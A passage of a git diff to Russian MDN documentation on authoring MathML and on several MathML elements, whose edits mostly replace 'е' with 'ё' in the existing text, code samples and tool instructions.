Web-языков, сможет легко совместить эти инструменты с MathML. Ознакомьтесь с <a href="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents">нашими примерами</a> и <a href="https://developer.mozilla.org/ru/docs/Web/MathML" title="ru/MathML/Element">справочными данными по MathML</a> для получения более подробной информации.</p> @@ -45,7 +45,7 @@ translation_of: Web/MathML/Authoring <h4 id="Варианты_для_браузеров_без_поддержки_MathML">Варианты для браузеров без поддержки MathML</h4> -<p>К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> возможно будет достаточно. Для ее использования, просто вставьте одну строку в заголовок вашего документа:</p> +<p>К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> возможно будет достаточно. Для её использования, просто вставьте одну строку в заголовок вашего документа:</p> <pre class="brush: html"><script src="http://fred-wang.github.io/mathml.css/mspace.js"></script></pre> @@ -57,7 +57,7 @@ translation_of: Web/MathML/Authoring <pre class="brush: html"><script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script></pre> -<p>Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путем тестирования элемента mspace (вы можете заменить <code>mspace</code> на <code>mpadded</code>):</p> +<p>Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путём тестирования элемента mspace (вы можете заменить <code>mspace</code> на <code>mpadded</code>):</p> <pre class="brush: js"> function hasMathMLSupport() { var div = document.createElement("div"), box; @@ -68,7 +68,7 @@ translation_of: Web/MathML/Authoring return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; }</pre> -<p>В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надежным методом и может сбоить от версии к версии:</p> +<p>В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надёжным методом и может сбоить от версии к версии:</p> <pre class="brush: js">var ua = navigator.userAgent; var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; @@ -95,7 +95,7 @@ m|math { <h4 id="MathML_в_документах_XML_(XHTML_EPUB_и_т.д.)">MathML в документах XML (XHTML, EPUB, и т.д.)</h4> -<p>Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имен MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с корневым элементом <code><math></code>. Например, версия XHTML предыдущего примера выглядит так:<br> +<p>Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имён MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с корневым элементом <code><math></code>. Например, версия XHTML предыдущего примера выглядит так:<br> </p> <pre class="brush: xml"><?xml version="1.0" encoding="UTF-8"?> @@ -136,7 +136,7 @@ m|math { <ul> <li>Для написания математических выражений может потребоваться только стандартный текстовый редактор.</li> <li>Доступны многие инструменты, некоторые из которых совместимы с классическим рабочим процессом LaTeX-to-pdf.</li> - <li>Это дает доступ к расширенным возможностям макросов, подобных макросам LaTeX.</li> + <li>Это даёт доступ к расширенным возможностям макросов, подобных макросам LaTeX.</li> </ul> </li> <li>минусы: @@ -161,7 +161,7 @@ m|math { </li> <li>минусы: <ul> - <li>Это не будет работать, если у пользователя отключен Javascript.</li> + <li>Это не будет работать, если у пользователя отключён Javascript.</li> <li>Код MathML не поддерживается Web-сканерами (например, средствами математического поиска или новостными агрегаторами). В частности, ваш контент не будет отображаться правильно на Planet.</li> <li>Конвертация должна выполняться при каждой загрузке страницы, может быть медленной и может конфликтовать с парсингом HTML (например, "<" для тегов или "$" для денежных сумм)</li> <li>Возможно вам понадобится синхронизировать Javascript-конвертер с другими программами Javascript на вашей странице.</li> @@ -173,7 +173,7 @@ m|math { <pre><span class="brush: html"><<span class="start-tag">x-tex</span>></span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html"></<span class="end-tag">x-tex</span>></span></pre> -<p>и автоматически преобразуется в MathML. Это все еще в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг выражений в процессе загрузки</a> как это используют и все другие инструменты, описанные в этом разделе.</p> +<p>и автоматически преобразуется в MathML. Это все ещё в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг выражений в процессе загрузки</a> как это используют и все другие инструменты, описанные в этом разделе.</p> <p>Одним из простых инструментов конвертации на стороне клиента является <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Просто загрузите скрипт <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> и скопируйте его на ваш Web-сайт. Затем на ваших веб-страницах добавьте тег <code><script></code> для загрузки ASCIIMathML и математические выражения, выделенные символом <code>`</code> (знак акцента) будут автоматически обработаны и преобразованы в MathML:</p> @@ -221,11 +221,11 @@ This is a sample LaTeXML document. </div> ...</pre> -<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это еще один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code> , чтобы написать <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. Установка похожа: загрузите и скопируйте соответствующие файлы <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript и CSS files</a> на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл <code>COPY-ME.html</code> из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.</p> +<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это ещё один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code> , чтобы написать <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. Установка похожа: загрузите и скопируйте соответствующие файлы <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript и CSS files</a> на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл <code>COPY-ME.html</code> из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.</p> <h3 id="Программы_командной_строки">Программы командной строки</h3> -<p>Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своем сервере.</p> +<p>Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своём сервере.</p> <ul> <li>плюсы: @@ -238,13 +238,13 @@ This is a sample LaTeXML document. <li>минусы: <ul> <li>Это требует установки программ на вашем компьютере, что может быть немного сложнее или они могут быть доступны не для всех платформ.</li> - <li>Вы должны запускать программы на своем компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.</li> + <li>Вы должны запускать программы на своём компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.</li> <li>Двоичные программы не подходят для их интеграции в расширение Mozilla или приложение XUL.</li> </ul> </li> </ul> -<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> может использоваться <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">из командной строки</a> и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока еще не реализовано.</p> +<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> может использоваться <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">из командной строки</a> и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока ещё не реализовано.</p> <p>Если вы хотите просто парсить простые математические выражения LaTeX, вы можете попробовать такие инструменты, как <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> или <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. Последнее часто доступно в дистрибутивах Linux. Давайте рассмотрим первое, которое изначально было написано Полом Гартсайдом в начале проекта Mozilla MathML и с тех пор поддерживается Жаком Дистлером. Это небольшой фильтр потока, написанный на C/C++ и сгенерированный с помощью flex и bison; в частности, оно очень быстрое. Установите flex/bison, а также классический компилятор и сгенерируйте инструменты. В Unix вы можете загрузить itex2MML, скомпилировать и установить его:</p> @@ -255,7 +255,7 @@ make sudo make install </pre> -<p>Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделенными долларами:</p> +<p>Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделёнными долларами:</p> <pre class="brush: html">input.html @@ -272,7 +272,7 @@ sudo make install <pre>cat input.html | itex2MML > output.html</pre> -<p>Существуют еще более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:</p> +<p>Существуют ещё более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:</p> <pre> mk4ht mzlatex foo.tex # Linux/Mac platforms mzlatex foo.tex # Windows platform @@ -280,10 +280,10 @@ sudo make install <p>Заметим, что <a href="https://github.com/michal-h21/tex4ebook">tex4ebook</a> опирается на TeX4ht для создания документов EPUB.</p> -<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это еще один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">видео-руководство</a>. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:</p> +<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это ещё один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">видео-руководство</a>. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:</p> -<pre> latexmlc --dest foo.html foo.tex # Создает HTML5 документ foo.html - latexmlc --dest foo.epub foo.tex # Создает EPUB документ foo.epub</pre> +<pre> latexmlc --dest foo.html foo.tex # Создаёт HTML5 документ foo.html + latexmlc --dest foo.epub foo.tex # Создаёт EPUB документ foo.epub</pre> <p>В случаях с браузерами без поддержки MathML, вы можете использовать параметр <code>--javascript</code>, чтобы сообщить LaTeXML о включении одного из <a href="#Fallback_for_Browsers_without_MathML_support">дополнительных скриптов</a>:</p> @@ -330,7 +330,7 @@ sudo make install <p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p> -<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как <code>a+2</code>, автоматически парсится и создается соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть ее в Mozilla.</p> +<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как <code>a+2</code>, автоматически парсится и создаётся соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть её в Mozilla.</p> <h2 id="Распознавание_видимых_символов_и_рукописного_текста">Распознавание видимых символов и рукописного текста</h2> diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html index 6d60735b70..085ea66f3b 100644 --- a/files/ru/web/mathml/element/maction/index.html +++ b/files/ru/web/mathml/element/maction/index.html @@ -11,7 +11,7 @@ translation_of: Web/MathML/Element/maction <div>{{MathMLRef}}</div> <div class="summary"> -<p>Элемент MathML <strong><code><maction></code></strong> обеспечивает возможность связать действия с (под-) выражениями. Само действие задается с помощью атрибута<code>actiontype</code>, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут <code>selection</code>.</p> +<p>Элемент MathML <strong><code><maction></code></strong> обеспечивает возможность связать действия с (под-) выражениями. Само действие задаётся с помощью атрибута<code>actiontype</code>, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут <code>selection</code>.</p> </div> <h2 id="Атрибуты">Атрибуты</h2> @@ -20,7 +20,7 @@ translation_of: Web/MathML/Element/maction <dt id="attr-actiontype">actiontype</dt> <dd>Действие, которое устанавливает, что происходит с этим элементом. Возможные значения: <ul> - <li><code>statusline</code>: Если кликнуть на <em>выражении (expression)</em> или читатель наведет курсор на него, <em>сообщение (message)</em> будет отправлено в строку состояния браузера. Синтаксис: <code><maction actiontype="statusline"> <em>expression</em> <em>message</em> </maction>.</code></li> + <li><code>statusline</code>: Если кликнуть на <em>выражении (expression)</em> или читатель наведёт курсор на него, <em>сообщение (message)</em> будет отправлено в строку состояния браузера. Синтаксис: <code><maction actiontype="statusline"> <em>expression</em> <em>message</em> </maction>.</code></li> <li><code>toggle</code>: Если кликнуть на подвыражении, рендеринг чередует отображение выбранных подвыражений. Поэтому с каждым кликом <code>выбираемое</code> значение меняется на следующее.<br> Синтаксис: <code><maction actiontype="toggle" selection="<em>positive-integer</em>" > <em>expression1</em> <em>expression2</em> <em>expressionN</em> </maction></code>.</li> <li><code>tooltip</code>: Когда указатель перемещается над <em>выражением (expression)</em>, рядом с выражением отображается всплывающая подсказка с <em>сообщением (message)</em>.<br> diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html index b8c2c3238b..296daf9c32 100644 --- a/files/ru/web/mathml/element/math/index.html +++ b/files/ru/web/mathml/element/math/index.html @@ -26,18 +26,18 @@ translation_of: Web/MathML/Element/math <dd><span class="notranslate">Этот атрибут определяет способ вывода.</span> Возможные <span class="notranslate">значения:</span> <ul> <li><span class="notranslate"><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> - <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из нее без изменения значения этого текста.</span></li> + <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> </ul> <p><span class="notranslate">Значение по умолчанию <code>inline</code> .</span></p> </dd> - <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все еще работают."> + <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все ещё работают."> <i class="icon-thumbs-down-alt"></i> </span></dt> <dd><span class="notranslate">Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> <span class="notranslate">Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> <dt id="attr-overflow">overflow</dt> - <dd><span class="notranslate">Определяет, как выражение ведет себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> + <dd><span class="notranslate">Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> <span class="notranslate">Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> </dl> diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html index 79c4c83179..45db068c2d 100644 --- a/files/ru/web/mathml/element/menclose/index.html +++ b/files/ru/web/mathml/element/menclose/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/menclose --- <div>{{MathMLRef}}</div> -<p class="summary">Элемент MathML <code><menclose></code> отображает свое содержимое во вложенной нотации, указанной атрибутом <code>нотации</code>.</p> +<p class="summary">Элемент MathML <code><menclose></code> отображает своё содержимое во вложенной нотации, указанной атрибутом <code>нотации</code>.</p> <h2 id="Атрибуты">Атрибуты</h2> @@ -24,7 +24,7 @@ translation_of: Web/MathML/Element/menclose <dt id="attr-mathcolor">mathcolor</dt> <dd>Цвет текста. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">HTML-имена цветов</a>.</dd> <dt id="attr-notation">notation</dt> - <dd>Список нотаций, разделенных пробелами, применяемых к дочерним элементам. Изображенные символы могут перекрываться. Возможные значения: + <dd>Список нотаций, разделённых пробелами, применяемых к дочерним элементам. Изображённые символы могут перекрываться. Возможные значения: <table class="standard-table"> <tbody> <tr> @@ -61,7 +61,7 @@ translation_of: Web/MathML/Element/menclose <td><code>roundedbox</code></td> <td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td> <td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>прямоугольник с закругленными вершинами</td> + <td>прямоугольник с закруглёнными вершинами</td> </tr> <tr> <td><code>circle</code></td> @@ -97,25 +97,25 @@ translation_of: Web/MathML/Element/menclose <td><code>updiagonalstrike</code></td> <td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td> <td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>линия, перечеркивающая содержимое от левого низа до правого верха</td> + <td>линия, перечёркивающая содержимое от левого низа до правого верха</td> </tr> <tr> <td><code>downdiagonalstrike</code></td> <td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td> <td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>линия, перечеркивающая содержимое от левого верха до правого низа</td> + <td>линия, перечёркивающая содержимое от левого верха до правого низа</td> </tr> <tr> <td><code>verticalstrike</code></td> <td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td> <td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>вертикальная линия, зачеркивающая содержимое</td> + <td>вертикальная линия, зачёркивающая содержимое</td> </tr> <tr> <td><code>horizontalstrike</code></td> <td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td> <td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>горизонтальная линия, зачеркивающая содержимое</td> + <td>горизонтальная линия, зачёркивающая содержимое</td> </tr> <tr> <td><code>madruwb</code></td> diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html index 78db2d09bd..c10046e96b 100644 --- a/files/ru/web/mathml/element/merror/index.html +++ b/files/ru/web/mathml/element/merror/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/merror --- <div>{{MathMLRef}}</div> -<p class="summary">Элемент MathML <code><merror></code> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка <strong>не</strong> выдается, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <code><merror></code>.</p> +<p class="summary">Элемент MathML <code><merror></code> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка <strong>не</strong> выдаётся, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <code><merror></code>.</p> <h2 id="Атрибуты">Атрибуты</h2> diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html index bbc4005440..d047636c21 100644 --- a/files/ru/web/mathml/element/mover/index.html +++ b/files/ru/web/mathml/element/mover/index.html @@ -22,7 +22,7 @@ translation_of: Web/MathML/Element/mover Если установлено <code>false</code> (по умолчанию) over-script <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>это <em>ограничение</em> по базовому выражению.</span></span></span></dd> <dt id="attr-align">align {{deprecated_inline}}</dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Выравнивание над сценарием.</span></span></span> Возможные значения: <code>left</code>, <code>center</code>, и <code>right</code>.<br> - <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Этот атрибут устарел и будет удален в будущем</span></span></span>. Вместо этого используйте CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd> + <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Этот атрибут устарел и будет удалён в будущем</span></span></span>. Вместо этого используйте CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd> <dt id="attr-class-id-style">class, id, style</dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Предусмотрено для использования с</span></span></span> <a href="/ru/docs/Web/CSS">таблицами стилей</a>.</dd> <dt id="attr-displaystyle"><code>displaystyle</code></dt> diff --git a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html index 20ecb0b6a6..1b3016bca9 100644 --- a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html +++ b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html @@ -14,6 +14,6 @@ original_slug: Web/MathML/Примеры/Deriving_the_Quadratic_Formula --- <p><span class="seoSummary">На этой странице описывается вывод Квадратичной Формулы.</span></p> -<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Мы берем квадратное уравнение в его общем виде и решаем для х:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p> +<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Мы берём квадратное уравнение в его общем виде и решаем для х:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p> <p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow> <mi>a</mi> <mo></mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo></mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo></mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo></mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo></mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Делим на главный коэффициент.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo></mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Дополняем до квадрата.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Получен дискриминант.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> 